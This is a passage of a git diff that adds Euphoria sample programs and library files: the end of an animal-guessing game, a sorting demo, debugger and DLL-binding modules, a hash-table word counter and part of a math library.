+				answer = TRUE
+			elsif answer[1] = 'n' or answer[1] = 'N' then
+				answer = FALSE
+			else
+				answer = '?'
+			end if
+		else
+			answer = '?'
+		end if
+		if answer = '?' then
+			puts(SCREEN, "\nPlease answer y or n: ")
+		end if
+	end while
+	return answer
+end function
+
+procedure guess() -- narrows it down to one animal
+	while TRUE do
+		if database[p][node_type] = ANIMAL then
+			return
+		end if
+		printf(SCREEN, "\n%s? ", { database[p][question] })
+		prev_p = p
+		if Yes() then
+			p = database[p][when_true]
+			prev_answer = when_true
+		else
+			p = database[p][when_false]
+			prev_answer = when_false
+		end if
+	end while
+end procedure
+
+global procedure animal()
+	-- updates database of animal information
+	
+	object new, new_question, correct, answer
+	
+	-- initial database:
+	--           record type     text         Y  N
+	database = { { DESCRIPTION, "\tCan it fly", 2, 3 },
+		 { ANIMAL, "an eagle" },
+		 { ANIMAL, "a dog" } }
+	while TRUE do
+		p = 1
+		printf(SCREEN, "%s\n",
+			 { "\nThink of an animal. Hit <cr> when you are ready, q to quit" })
+		answer = gets(KEYBOARD)
+		if length(answer) > 0 then
+			if answer[1] = 'q' then
+				return
+			end if
+		end if
+		guess()
+		printf(SCREEN, "\n\tIs it %s? ", { database[p][question] })
+		if not Yes() then
+			puts(SCREEN, "\nI give up. What was it? ")
+			correct = gets(KEYBOARD)
+			correct = correct[1 .. length(correct) - 1]
+			database = append(database, { ANIMAL, correct })
+			new = length(database)
+			printf(SCREEN, "\n%s%s%s%s\n",
+				 { "Please give me a question that would distinguish ",
+					database[p][question], " from ", correct })
+			new_question = '\t' & gets(KEYBOARD)
+			new_question = new_question[1 .. length(new_question) - 1]
+			if new_question[length(new_question)] = '?' then
+				new_question = new_question[1 .. length(new_question) - 1]
+			end if
+			printf(SCREEN, "\nFor %s the answer would be: ", { correct })
+			if Yes() then
+				database = append(database, { DESCRIPTION, new_question, new, p })
+			else
+				database = append(database, { DESCRIPTION, new_question, p, new })
+			end if
+			database[prev_p][prev_answer] = length(database)
+		end if
+	end while
+end procedure
+
+animal()
+
diff --git a/samples/Euphoria/csort.ex b/samples/Euphoria/csort.ex
new file mode 100644
index 0000000000..5c5e71ca1b
--- /dev/null
+++ b/samples/Euphoria/csort.ex
@@ -0,0 +1,57 @@
+--****
+-- === csort.ex
+-- Demo of custom_sort(), routine_id() The Euphoria custom_sort routine is passed the 
+-- routine id of the comparison function to be used when sorting.
+
+include std/sort.e -- contains custom_sort()
+include std/console.e
+
+constant NAME = 1,
+	POPULATION = 2
+
+constant statistics = {
+	 { "Canada", 27.4 },
+	 { "United States", 255.6 },
+	 { "Brazil", 150.8 },
+	 { "Denmark", 5.2 },
+	 { "Sweden", 8.7 },
+	 { "France", 56.9 },
+	 { "Germany", 80.6 },
+	 { "Netherlands", 15.2 },
+	 { "Italy", 58 },
+	 { "New Zealand", 3.4 }
+}
+
+function compare_name(sequence a, sequence b)
+	-- Compare two sequences (records) according to NAME.
+	return compare(a[NAME], b[NAME])
+end function
+
+function compare_pop(sequence a, sequence b)
+	-- Compare two sequences (records) according to POPULATION.
+	-- Note: comparing b vs. a, rather than a vs. b, makes 
+	-- the bigger population come first.
+	return compare(b[POPULATION], a[POPULATION])
+end function
+
+sequence sorted_by_pop, sorted_by_name
+integer by_pop, by_name
+
+by_pop = routine_id("compare_pop")
+by_name = routine_id("compare_name")
+
+sorted_by_pop = custom_sort(by_pop, statistics)
+sorted_by_name = custom_sort(by_name, statistics)
+
+puts(1, "sorted by population\t\t  sorted by name\n\n")
+for i = 1 to length(sorted_by_pop) do
+	printf(1, "%13s %6.1f\t\t%13s %6.1f\n",
+		sorted_by_pop[i] & sorted_by_name[i])
+end for
+
+ifdef WINDOWS and GUI then
+	puts(1, "This program must be run from the command-line:\n\n")
+end ifdef
+
+maybe_any_key()
+
diff --git a/samples/Euphoria/debug.e b/samples/Euphoria/debug.e
new file mode 100644
index 0000000000..74f3e64bd9
--- /dev/null
+++ b/samples/Euphoria/debug.e
@@ -0,0 +1,309 @@
+--****
+-- == Debugging tools
+
+namespace debug
+
+include std/dll.e
+include std/machine.e
+include euphoria/symstruct.e
+
+without trace
+
+constant M_CALL_STACK = 103
+
+--****
+-- === Call Stack Constants
+
+public enum
+	CS_ROUTINE_NAME,
+	CS_FILE_NAME,
+	CS_LINE_NO,
+	CS_ROUTINE_SYM,
+	CS_PC,
+	CS_GLINE
+
+--****
+--=== DEBUG_ROUTINE Enum Type
+
+public enum type DEBUG_ROUTINE
+	SHOW_DEBUG,
+	DISPLAY_VAR,
+	UPDATE_GLOBALS,
+	DEBUG_SCREEN,
+	ERASE_PRIVATES,
+	ERASE_SYMBOL
+end type
+
+--****
+--=== Debugging Routines
+
+--**
+-- Returns information about the call stack of the code currently running.
+public function call_stack()
+	return machine_func( M_CALL_STACK, {} )
+end function
+
+atom
+	symbol_table    = 0,
+	slist           = 0,
+	op_table        = 0,
+	data_buffer     = 0,
+	file_name_ptr   = 0
+
+-- C routines for interfacing with the interpreter
+integer
+	read_object_cid   = -1,
+	trace_off_cid     = -1,
+	disable_trace_cid = -1,
+	step_over_cid     = -1,
+	abort_program_cid = -1,
+	RTLookup_cid      = -1,
+	get_pc_cid        = -1,
+	is_novalue_cid    = -1,
+	back_trace_cid    = -1,
+	call_stack_cid    = -1,
+	break_routine_cid = -1
+
+integer
+	show_debug_rid     = -1,
+	display_var_rid    = -1,
+	update_globals_rid = -1,
+	debug_screen_rid   = -1,
+	erase_privates_rid = -1,
+	erase_symbol_rid   = -1
+
+atom showing_line = -1
+
+function show_debug()
+	if show_debug_rid != -1 then
+		showing_line = peek_pointer( data_buffer )
+		call_proc( show_debug_rid, { showing_line } )
+	end if
+	return 0
+end function
+
+function display_var()
+	if display_var_rid != -1 then
+		call_proc( display_var_rid, peek_pointer( data_buffer & 2 ) )
+	end if
+	return 0
+end function
+
+function update_globals()
+	if update_globals_rid != -1 then
+		call_proc( update_globals_rid, {} )
+	end if
+	return 0
+end function
+
+function debug_screen()
+	if debug_screen_rid != -1 then
+		call_proc( debug_screen_rid, {} )
+	end if
+	return 0
+end function
+
+function erase_privates( atom proc_sym )
+	if erase_privates_rid != -1 then
+		call_proc( erase_privates_rid, { proc_sym } )
+	end if
+	return 0
+end function
+
+function erase_symbol( atom sym )
+	if erase_symbol_rid != -1 then
+		call_proc( erase_symbol_rid, { sym } )
+	end if
+	return 0
+end function
+
+public constant M_INIT_DEBUGGER  = 104
+
+enum type INIT_ACCESSORS
+	IA_SYMTAB,
+	IA_SLIST,
+	IA_OPS,
+	IA_READ_OBJECT,
+	IA_FILE_NAME,
+	IA_TRACE_OFF,
+	IA_DISABLE_TRACE,
+	IA_STEP_OVER,
+	IA_ABORT_PROGRAM,
+	IA_RTLOOKUP,
+	IA_GET_PC,
+	IA_IS_NOVALUE,
+	IA_CALL_STACK,
+	IA_BREAK_ROUTINE
+end type
+
+enum type INIT_PARAMS
+	IP_BUFFER,
+	IP_SHOW_DEBUG,
+	IP_DISPLAY_VAR,
+	IP_UPDATE_GLOBALS,
+	IP_DEBUG_SCREEN,
+	IP_ERASE_PRIVATE_NAMES,
+	IP_ERASE_SYMBOL,
+	IP_SIZE
+end type
+
+--**
+-- Initializes an external debugger.  It can also be called
+-- from a debugger compiled into a DLL / SO.
+public procedure initialize_debugger( atom init_ptr )
+	-- let the interpreter know that we're using an external debugger
+	data_buffer = allocate( sizeof( C_POINTER ) )
+
+	sequence init_params = repeat( 0, IP_SIZE - 1 )
+	init_params[IP_BUFFER] = data_buffer
+	init_params[IP_SHOW_DEBUG]          = call_back( '+' & routine_id("show_debug") )
+	init_params[IP_DISPLAY_VAR]         = call_back( '+' & routine_id("display_var") )
+	init_params[IP_UPDATE_GLOBALS]      = call_back( '+' & routine_id("update_globals") )
+	init_params[IP_DEBUG_SCREEN]        = call_back( '+' & routine_id("debug_screen") )
+	init_params[IP_ERASE_PRIVATE_NAMES] = call_back( '+' & routine_id("erase_privates") )
+	init_params[IP_ERASE_SYMBOL]        = call_back( '+' & routine_id("erase_symbol") )
+
+	sequence init_data = c_func( define_c_func( "", { '+', init_ptr}, { E_SEQUENCE }, E_SEQUENCE ), { init_params } )
+	symbol_table       = init_data[IA_SYMTAB]
+	slist              = init_data[IA_SLIST]
+	op_table           = init_data[IA_OPS]
+	read_object_cid    = define_c_func( "", { '+', init_data[IA_READ_OBJECT] }, { C_POINTER }, E_OBJECT )
+	file_name_ptr      = init_data[IA_FILE_NAME]
+	trace_off_cid      = define_c_proc( "", { '+', init_data[IA_TRACE_OFF] }, {} )
+	disable_trace_cid  = define_c_proc( "", { '+', init_data[IA_DISABLE_TRACE] }, {} )
+	step_over_cid      = define_c_proc( "", { '+', init_data[IA_STEP_OVER] }, {} )
+	abort_program_cid  = define_c_proc( "", { '+', init_data[IA_ABORT_PROGRAM] }, {} )
+	RTLookup_cid       = define_c_func( "", { '+', init_data[IA_RTLOOKUP] },
+			{ C_POINTER, C_INT, C_POINTER, C_POINTER, C_INT, C_ULONG}, C_POINTER )
+	get_pc_cid         = define_c_func( "", { '+', init_data[IA_GET_PC] }, {}, C_POINTER )
+	is_novalue_cid     = define_c_func( "", { '+', init_data[IA_IS_NOVALUE] }, { C_POINTER }, C_INT )
+	call_stack_cid     = define_c_func( "", { '+', init_data[IA_CALL_STACK] }, { C_INT }, E_OBJECT )
+	break_routine_cid  = define_c_func( "", { '+', init_data[IA_BREAK_ROUTINE] }, { C_POINTER, C_INT }, C_INT )
+
+end procedure
+
+-- **
+-- Used to initialize the external debuggers handlers.
+public procedure set_debug_rid( DEBUG_ROUTINE rtn, integer rid )
+	switch rtn do
+		case SHOW_DEBUG then
+			show_debug_rid = rid
+		case DISPLAY_VAR then
+			display_var_rid = rid
+		case UPDATE_GLOBALS then
+			update_globals_rid = rid
+		case DEBUG_SCREEN then
+			debug_screen_rid = rid
+		case ERASE_PRIVATES then
+			erase_privates_rid = rid
+		case ERASE_SYMBOL then
+			erase_symbol_rid = rid
+	end switch
+end procedure
+
+public function read_object( atom sym )
+	return c_func( read_object_cid, { sym } )
+end function
+
+public procedure trace_off()
+	c_proc( trace_off_cid, {} )
+end procedure
+
+public procedure disable_trace()
+	c_proc( disable_trace_cid, {} )
+end procedure
+
+public procedure step_over()
+	c_proc( step_over_cid, {} )
+end procedure
+
+public procedure abort_program()
+	c_proc( abort_program_cid, {} )
+end procedure
+
+public function get_current_line()
+	return showing_line
+end function
+
+public function symbol_lookup( sequence name, integer line = get_current_line(), atom pc = get_pc() )
+	atom name_ptr = allocate_string( name, 1 )
+
+-- 	symtab_ptr RTLookup(char *name, int file, intptr_t *pc, symtab_ptr routine, int stlen, unsigned long current_line )
+	return c_func( RTLookup_cid, { name_ptr, get_file_no( line ), pc, 0, peek_pointer( symbol_table) , line } )
+end function
+
+public function get_pc()
+	return c_func( get_pc_cid, {} )
+end function
+
+public function is_novalue( atom sym_ptr )
+	return c_func( is_novalue_cid, { sym_ptr } )
+end function
+
+public function debugger_call_stack()
+	sequence stack = c_func( call_stack_cid, { 1 } )
+	ifdef EUI then
+		-- if using an interpreted debugger, strip off debugger junk
+		-- from the top of the stack:
+		for i = 1 to length( stack ) do
+			if length( stack[i][2] ) = 0 then
+				stack = remove( stack, 1, i )
+				exit
+			end if
+		end for
+	end ifdef
+	return stack
+end function
+
+public function break_routine( atom routine_sym, integer enable )
+	return c_func( break_routine_cid, { routine_sym, enable } )
+end function
+
+public function get_name( atom sym )
+	return peek_string( peek_pointer( sym + ST_NAME ) )
+end function
+
+public function get_source( integer line )
+	return peek_string( peek_pointer( slist + SL_SIZE * line + SL_SRC ) )
+end function
+
+public function get_file_no( integer line )
+	return peek( slist + line * SL_SIZE + SL_FILE_NO )
+end function
+
+public function get_file_name( integer file_no )
+	return peek_string( peek_pointer( file_name_ptr + sizeof( C_POINTER ) * file_no ) )
+end function
+
+public function get_file_line( integer line )
+	return peek2u( slist + line * SL_SIZE + SL_LINE )
+end function
+
+public function get_next( atom sym )
+	return peek_pointer( sym + ST_NEXT )
+end function
+
+public function is_variable( atom sym_ptr )
+	if sym_ptr = 0 then
+		return 0
+	end if
+
+	return -100 = peek4s( sym_ptr + ST_TOKEN )
+end function
+
+public function get_parameter_syms( atom rtn_sym )
+	integer param_count = peek4u( rtn_sym + ST_NUM_ARGS )
+	sequence syms = repeat( 0, param_count )
+	atom next_sym = peek_pointer( rtn_sym + ST_NEXT )
+	for i = 1 to param_count do
+		while peek( next_sym + ST_SCOPE ) != 3 do -- SC_PRIVATE = 3
+			next_sym = peek_pointer( next_sym + ST_NEXT )
+		end while
+		syms[i] = next_sym
+	end for
+	return syms
+end function
+
+public function get_symbol_table()
+	return symbol_table
+end function
diff --git a/samples/Euphoria/dll.e b/samples/Euphoria/dll.e
new file mode 100644
index 0000000000..cf6b9d4f15
--- /dev/null
+++ b/samples/Euphoria/dll.e
@@ -0,0 +1,142 @@
+--****
+-- == Dynamic Linking to External Code
+
+namespace dll
+
+include std/error.e
+include std/machine.e
+include std/types.e
+
+--****
+-- === C Type Constants
+-- These C type constants are used when defining external C functions in a shared
+-- library file.
+
+with define NO_CHANDLE
+
+public constant
+	C_CHAR    = #01000001,
+	C_BYTE    = #01000001,
+	C_UCHAR   = #02000001,
+	C_UBYTE   = #02000001,
+	C_SHORT   = #01000002,
+	C_WORD   = #01000002,
+	C_USHORT  = #02000002,
+	C_INT     = #01000004,
+	C_BOOL    = C_INT,
+	C_UINT    = #02000004,
+	C_LONG    = #01000008,
+	C_ULONG   = #02000008,
+	C_SIZE_T  = C_ULONG,
+	C_POINTER = #03000001,
+	C_LONGLONG  = #03000002,
+	C_ULONGLONG  = #03000010
+ifdef BITS32 then
+public constant
+	C_LONG_PTR = C_LONG
+elsedef
+public constant
+	C_LONG_PTR = C_LONGLONG
+end ifdef
+public constant
+	C_DWORD   = C_UINT,
+	C_FLOAT   = #03000004,
+	C_DOUBLE  = #03000008,
+	C_DWORDLONG  = C_LONGLONG
+
+--****
+-- === External Euphoria Type Constants
+-- These are used for arguments to and the return value from a Euphoria shared
+-- library file (##.dll##, ##.so##, or ##.dylib##).
+
+public constant
+	E_INTEGER = #06000004,
+	E_ATOM    = #07000004,
+	E_SEQUENCE= #08000004,
+	E_OBJECT  = #09000004
+
+--****
+-- === Constants
+
+public constant NULL = 0
+
+constant M_OPEN_DLL  = 50,
+		 M_DEFINE_C  = 51,
+		 M_DEFINE_VAR = 56
+
+--****
+-- === Routines
+
+--**
+-- opens a //Windows// dynamic link library (##.dll##) file, or a //Unix// shared library
+-- (##.so##) file.
+public function open_dll(sequence file_name)
+	if length(file_name) > 0 and types:string(file_name) then
+		return machine_func(M_OPEN_DLL, file_name)
+	end if
+
+	-- We have a list of filenames to try, try each one, when one succeeds
+	-- abort the search and return it's value
+	for idx = 1 to length(file_name) do
+		atom fh = machine_func(M_OPEN_DLL, file_name[idx])
+		if not fh = 0 then
+			return fh
+		end if
+	end for
+
+	return 0
+end function
+
+--**
+-- gets the address of a symbol in a shared library or in RAM.
+public function define_c_var(atom lib, sequence variable_name)
+	return machine_func(M_DEFINE_VAR, {lib, variable_name})
+end function
+
+--**
+-- defines the characteristics of either a C function, or a machine-code routine that you
+-- wish to call as a procedure from your Euphoria program.
+public function define_c_proc(object lib, object routine_name, sequence arg_types)
+	if atom(routine_name) and not machine:safe_address(routine_name, 1, machine:A_EXECUTE) then
+		error:crash("A C function is being defined from Non-executable memory.")
+	end if
+	return machine_func(M_DEFINE_C, {lib, routine_name, arg_types, 0})
+end function
+
+--**
+-- defines the characteristics of either a C function, or a machine-code routine that returns
+-- a value.
+public function define_c_func(object lib, object routine_name, sequence arg_types, atom return_type)
+	if atom(routine_name) and not machine:safe_address(routine_name, 1, machine:A_EXECUTE) then
+		error:crash("A C function is being defined from Non-executable memory.")
+	end if
+	return machine_func(M_DEFINE_C, {lib, routine_name, arg_types, return_type})
+end function
+
+constant M_CALL_BACK = 52
+
+--**
+-- gets a machine address for an Euphoria procedure.
+public function call_back(object id)
+	return machine_func(M_CALL_BACK, id)
+end function
+
+ifdef EU4_0 then
+	--**
+	-- @nodoc@
+	public function sizeof(integer x)
+		switch x with fallthru do
+			case C_CHAR, C_BYTE, C_UCHAR, C_UBYTE then
+				return 1
+			case C_SHORT, C_WORD, C_USHORT then
+				return 2
+			-- In 4.0 everything is x86-32
+			case E_OBJECT, E_ATOM, E_SEQUENCE, E_INTEGER then
+			case C_INT, C_LONG, C_ULONG then
+			case C_SIZE_T, C_POINTER, C_FLOAT then
+				return 4
+			case C_DOUBLE, C_DWORDLONG, C_LONGLONG then
+				return 8
+		end switch
+	end function
+end ifdef
diff --git a/samples/Euphoria/hash.ex b/samples/Euphoria/hash.ex
new file mode 100644
index 0000000000..f1a54922d9
--- /dev/null
+++ b/samples/Euphoria/hash.ex
@@ -0,0 +1,209 @@
+--****
+-- === hash.ex
+-- Hash Table Demo written by Junko C. Miura, RDS
+
+include std/console.e
+include std/io.e
+include std/hash.e
+include std/map.e
+include std/types.e
+include std/convert.e
+include std/cmdline.e
+
+without type_check
+
+constant EOF = -1
+constant TRUE = 1
+constant STRING = 1, COUNT = 2 -- fields for one hash table entry
+
+integer hashBuckets  -- prime
+	-- With the hash function below, it helps (a little bit) 
+	-- to have a prime number here. Don't use a power of 2.
+	-- You'll get better performance by using a
+	-- bigger size of table, but it uses up space.
+
+-- This hash table consists of a set of two sequences. One for the
+-- keys (words) and one for the corresponding word counter.
+
+-- Initialize the hash table to a sequence of empty "buckets"
+sequence table_words
+sequence table_count
+
+integer compares = 0
+integer  inputHandle
+sequence vOutPath
+integer outputHandle
+
+integer numZeroBucket, max, items, len, total_words
+
+function hash_function(sequence string)
+	return remainder(hash(string, stdhash:HSIEH32 ), hashBuckets) + 1
+end function
+
+procedure update_table(sequence string)
+-- If string is not in the table already, add it, with a count of 1, 
+-- otherwise just increment its count.
+	integer hash_val, found
+	sequence bucket
+	sequence counters
+	
+	-- which bucket to search?
+	hash_val = hash_function(string) 
+	bucket = table_words[hash_val]
+	found = find(string, bucket)
+	if found then
+		compares += found
+		table_count[hash_val][found] += 1
+	else
+		bucket = append(bucket, string)
+		table_words[hash_val] = bucket
+		table_count[hash_val] &= 1
+	end if
+end procedure
+
+function next_word()
+-- Read to get the next "word".
+	integer c
+	sequence word
+
+	word = ""
+	while TRUE do
+		c = getc(inputHandle)
+		if t_alpha(c) then
+		    word &= c
+		else
+			if length(word) > 0 or c = EOF then
+		    	exit
+			end if
+		end if
+	end while
+	
+	return word
+end function
+
+procedure build_table()
+-- build a hash table containing all unique words in standard input
+	object word
+
+	while length(word) > 0 with entry do
+	    update_table(word)
+	entry
+		word = next_word()
+	end while
+	
+end procedure
+
+sequence vOpts = {
+	{"s", "hash", "Hash size", {ONCE, HAS_PARAMETER, NO_CASE}, -1},
+	{"o", "outfile", "File to receive word list and statistics", {ONCE, NO_CASE, HAS_PARAMETER}, -1},
+	$
+}
+
+object vOptMap
+
+without warning
+
+override procedure abort(integer errcode)
+	maybe_any_key("\nPress Any Key to Continue...")
+	eu:abort(errcode)
+end procedure
+
+procedure main()
+	sequence lDicts
+	object lFileList
+	integer lFileHandle
+	
+	vOptMap = cmd_parse(vOpts)
+	
+	vOutPath = map:get(vOptMap, "outfile", "hash.out")
+	hashBuckets = to_integer(map:get(vOptMap, "hash", "1009"))
+	table_words = repeat({}, hashBuckets)
+	table_count = repeat({}, hashBuckets)
+	
+	
+	outputHandle = open(vOutPath, "w")
+	if outputHandle = -1 then
+		writefln("Cannot open output file")
+		abort(1)
+	end if
+	
+	
+	lFileList = map:get(vOptMap, cmdline:EXTRAS, {})
+	
+	if length(lFileList) < 1 then
+		puts(2, "You must give the name of an input file")
+		abort(1)
+	end if
+	
+	if length(lFileList) > 1 then
+		puts(2, "You must only give the name of one input file")
+		abort(1)
+	end if
+	
+	inputHandle = open(lFileList[1], "r")
+	if inputHandle = -1 then
+		puts(2, "Cannot open input file.")
+		abort(1)
+	end if
+
+
+	atom t
+	t = time()         -- Time the table-building process only
+	build_table() 
+	t = time() - t     -- stop timer
+	
+	
+	writefln("\n[:.2] seconds", t)
+	
+	numZeroBucket = 0
+	items = 0
+	max = 0
+	total_words = 0
+	
+	for i = 1 to length(table_words) do
+		len = length(table_words[i])
+		items += len
+		for j = 1 to length(table_count[i]) do
+			total_words += table_count[i][j]
+		end for
+		if len = 0 then
+			numZeroBucket += 1
+		elsif len > max then
+		    max = len
+		end if
+	end for
+	
+	if total_words = 0 then
+		abort(0)
+	end if
+	
+	writefln(outputHandle, "build time ..................... : [:.2]", t)
+	writefln(outputHandle, "number of hash table buckets ... : []", hashBuckets)
+	writefln(outputHandle, "number of words in input stream  : []", total_words)
+	writefln(outputHandle, "number of items in hash table .. : []", items)
+	writefln(outputHandle, "number of empty buckets ........ : []", numZeroBucket)
+	writefln(outputHandle, "largest bucket size ............ : []", max)
+	writefln(outputHandle, "average bucket size ............ : [:.2]", items / (hashBuckets - numZeroBucket))
+	writefln(outputHandle, "compares per lookup ............ : [:.2]",  compares/total_words)
+	
+	for i = 1 to length(table_words) do
+		if length(table_words[i]) > 0 then
+		    writef(outputHandle, "bucket#[:6]: ", i)
+		    for j = 1 to length(table_words[i]) do
+				if j > 1 and remainder(j-1,5) = 0 then
+				    writefln(outputHandle, "")
+				    writef(outputHandle, "             ")
+				end if
+				
+				writef(outputHandle, "[]:[] ", {table_words[i][j], table_count[i][j]})
+	
+		    end for
+			writefln(outputHandle, "")
+	
+		end if
+	end for
+	close(outputHandle)
+	writefln("See '[1]' for statistics and table contents", {vOutPath})
+end procedure
+
+main()
diff --git a/samples/Euphoria/math.e b/samples/Euphoria/math.e
new file mode 100644
index 0000000000..f693cb36a2
--- /dev/null
+++ b/samples/Euphoria/math.e
@@ -0,0 +1,615 @@
+--****
+-- == Math
+
+namespace math
+
+public include std/rand.e
+public include std/mathcons.e
+include std/error.e
+
+type trig_range(object x)
+--  values passed to arccos and arcsin must be [-1,+1]
+	if atom(x) then
+		return x >= -1 and x <= 1
+	else
+		for i = 1 to length(x) do
+			if not trig_range(x[i]) then
+				return 0
+			end if
+		end for
+		return 1
+	end if
+end type
+
+--****
+-- === Sign and Comparisons
+--
+
+--**
+-- returns the absolute value of numbers.
+public function abs(object a)
+	object t
+	if atom(a) then
+		if a >= 0 then
+			return a
+		else
+			return - a
+		end if
+	end if
+	for i = 1 to length(a) do
+		t = a[i]
+		if atom(t) then
+			if t < 0 then
+				a[i] = - t
+			end if
+		else
+			a[i] = abs(t)
+		end if
+	end for
+	return a
+end function
+
+--**
+-- returns -1, 0 or 1 for each element according to it being negative, zero or positive.
+public function sign(object a)
+	-- small so normally it will be inlined
+	return (a > 0) - (a < 0)
+end function
+
+--**
+-- returns the larger of two objects.
+public function larger_of(object objA, object objB)
+
+	if compare(objA, objB) > 0 then
+		return objA
+	else
+		return objB
+	end if
+end function
+
+--**
+-- returns the smaller of two objects.
+public function smaller_of(object objA, object objB)
+	if compare(objA, objB) < 0 then
+		return objA
+	else
+		return objB
+	end if
+end function
+
+--**
+-- computes the maximum value among all the argument's elements.
+public function max(object a)
+	atom b, c
+	if atom(a) then
+		return a
+	end if
+	b = mathcons:MINF
+	for i = 1 to length(a) do
+		c = max(a[i])
+		if c > b then
+			b = c
+		end if
+	end for
+	return b
+end function
+
+--**
+-- computes the minimum value among all the argument's elements.
+public function min(object a)
+	atom b, c
+	if atom(a) then
+			return a
+	end if
+	b = mathcons:PINF
+	for i = 1 to length(a) do
+		c = min(a[i])
+			if c < b then
+				b = c
+		end if
+	end for
+	return b
+end function
+
+--**
+-- ensures that the ##item## is in a range of values supplied by inclusive ##range_limits##.
+public function ensure_in_range(object item, sequence range_limits)
+	if length(range_limits) < 2 then
+		return item
+	end if
+
+	if eu:compare(item, range_limits[1]) < 0 then
+		return range_limits[1]
+	end if
+	if eu:compare(item, range_limits[$]) > 0 then
+		return range_limits[$]
+	end if
+	return item
+end function
+
+--**
+-- ensures that the ##item## is in a list of values supplied by ##list##.
+public function ensure_in_list(object item, sequence list, integer default=1)
+	if length(list) = 0 then
+		return item
+	end if
+	if find(item, list) = 0 then
+		if default>=1 and default<=length(list) then
+		    return list[default]
+		else
+			return list[1]
+		end if
+	end if
+	return item
+end function
+
+--****
+-- === Roundings and Remainders
+
+--**
+-- computes the remainder of the division of two objects using floored division.
+public function mod(object x, object y)
+	if equal(sign(x), sign(y)) then
+		return remainder(x,y)
+	end if
+	return x - y * floor(x / y)
+end function
+
+--**
+-- returns the integer portion of a number.
+public function trunc(object x)
+	return sign(x) * floor(abs(x))
+end function
+
+--**
+-- returns the fractional portion of a number.
+public function frac(object x)
+	object temp = abs(x)
+	return sign(x) * (temp - floor(temp))
+end function
+
+--**
+-- returns an integral division of two objects.
+public function intdiv(object a, object b)
+	return sign(a)*ceil(abs(a)/abs(b))
+end function
+
+--**
+-- computes the next integer equal or greater than the argument.
+public function ceil(object a)
+	return -floor(-a)
+end function
+
+--**
+-- returns the argument's elements rounded to some precision.
+public function round(object a, object precision=1)
+	integer len
+	sequence s
+	object t, u
+
+	precision = abs(precision)
+	if atom(a) then
+		if atom(precision) then
+			return floor(0.5 + (a * precision )) / precision
+		end if
+		len = length(precision)
+		s = repeat(0, len)
+		for i = 1 to len do
+			t = precision[i]
+			if atom (t) then
+				s[i] = floor( 0.5 + (a * t)) / t
+			else
+				s[i] = round(a, t)
+			end if
+		end for
+		return s
+	elsif atom(precision) then
+		len = length(a)
+		s = repeat(0, len)
+		for i = 1 to len do
+			t = a[i]
+			if atom(t) then
+				s[i] = floor(0.5 + (t * precision)) / precision
+			else
+				s[i] = round(t, precision)
+			end if
+		end for
+		return s
+	end if
+	len = length(a)
+	if len != length(precision) then
+		error:crash("The lengths of the two supplied sequences do not match.")
+	end if
+	s = repeat(0, len)
+	for i = 1 to len do
+		t = precision[i]
+		if atom(t) then
+			u = a[i]
+			if atom(u) then
+				s[i] = floor(0.5 + (u * t)) / t
+			else
+				s[i] = round(u, t)
+			end if
+		else
+			s[i] = round(a[i], t)
+		end if
+	end for
+	return s
+end function
+
+--****
+-- === Trigonometry
+
+--**
+-- returns an angle given its cosine.
+public function arccos(trig_range x)
+--  returns angle in radians
+	return mathcons:HALFPI - 2 * arctan(x / (1.0 + sqrt(1.0 - x * x)))
+end function
+
+--**
+-- returns an angle given its sine.
+public function arcsin(trig_range x)
+--  returns angle in radians
+	return 2 * arctan(x / (1.0 + sqrt(1.0 - x * x)))
+end function
+
+--**
+-- calculate the arctangent of a ratio.
+public function atan2(atom y, atom x)
+	if x > 0 then
+		return arctan(y/x)
+	elsif x < 0 then
+		if y < 0 then
+			return arctan(y/x) - mathcons:PI
+		else
+			return arctan(y/x) + mathcons:PI
+		end if
+	elsif y > 0 then
+		return mathcons:HALFPI
+	elsif y < 0 then
+		return -(mathcons:HALFPI)
+	else
+		return 0
+	end if
+end function
+
+--**
+-- converts an angle measured in radians to an angle measured in degrees.
+public function rad2deg (object x)
+   return x * mathcons:RADIANS_TO_DEGREES
+end function
+
+--**
+-- converts an angle measured in degrees to an angle measured in radians.
+public function deg2rad (object x)
+   return x * mathcons:DEGREES_TO_RADIANS
+end function
+
+--****
+-- === Logarithms and Powers
+
+--**
+-- returns the base 10 logarithm of a number.
+public function log10(object x1)
+	return log(x1) * mathcons:INVLN10
+end function
+
+--**
+-- computes some power of E.
+public function exp(atom x)
+	return power( mathcons:E, x)
+end function
+
+--**
+-- computes the nth Fibonacci Number.
+public function fib(integer i)
+	return floor((power( mathcons:PHI, i) / mathcons:SQRT5) + 0.5)
+end function
+
+--****
+-- === Hyperbolic Trigonometry
+
+--**
+-- computes the hyperbolic cosine of an object.
+public function cosh(object a)
+    return (exp(a)+exp(-a))/2
+end function
+
+--**
+-- computes the hyperbolic sine of an object.
+public function sinh(object a)
+    return (exp(a)-exp(-a))/2
+end function
+
+--**
+-- computes the hyperbolic tangent of an object.
+public function tanh(object a)
+    return sinh(a)/cosh(a)
+end function
+
+--**
+-- computes the reverse hyperbolic sine of an object.
+public function arcsinh(object a)
+    return log(a+sqrt(1+a*a))
+end function
+
+type not_below_1(object x)
+    if atom(x) then
+        return x>=1.0
+    end if
+    for i=1 to length(x) do
+        if not not_below_1(x[i]) then
+            return 0
+        end if
+    end for
+    return 1
+end type
+
+--**
+-- computes the reverse hyperbolic cosine of an object.
+public function arccosh(not_below_1 a)
+    return log(a+sqrt(a*a-1))
+end function
+
+type abs_below_1(object x)
+    if atom(x) then
+        return x>-1.0 and x<1.0
+    end if
+    for i=1 to length(x) do
+        if not abs_below_1(x[i]) then
+            return 0
+        end if
+    end for
+    return 1
+end type
+
+--**
+-- computes the reverse hyperbolic tangent of an object.
+public function arctanh(abs_below_1 a)
+    return log((1+a)/(1-a))/2
+end function
+
+--****
+-- === Accumulation
+
+--**
+-- computes the sum of all atoms in the argument, no matter how deeply nested.
+public function sum(object a)
+	atom b
+	if atom(a) then
+		return a
+	end if
+	b = 0
+	for i = 1 to length(a) do
+		if atom(a[i]) then
+			b += a[i]
+		else
+			b += sum(a[i])
+		end if
+	end for
+	return b
+end function
+
+--**
+-- computes the product of all the atom in the argument, no matter how deeply nested.
+public function product(object a)
+	atom b
+	if atom(a) then
+		return a
+	end if
+	b = 1
+	for i = 1 to length(a) do
+		if atom(a[i]) then
+			b *= a[i]
+		else
+			b *= product(a[i])
+		end if
+	end for
+	return b
+end function
+
+--**
+-- or's together all atoms in the argument, no matter how deeply nested.
+public function or_all	(object a)
+	atom b
+	if atom(a) then
+		return a
+	end if
+	b = 0
+	for i = 1 to length(a) do
+		if atom(a[i]) then
+			b = or_bits(b, a[i])
+		else
+			b = or_bits(b, or_all(a[i]))
+		end if
+	end for
+	return b
+end function
+
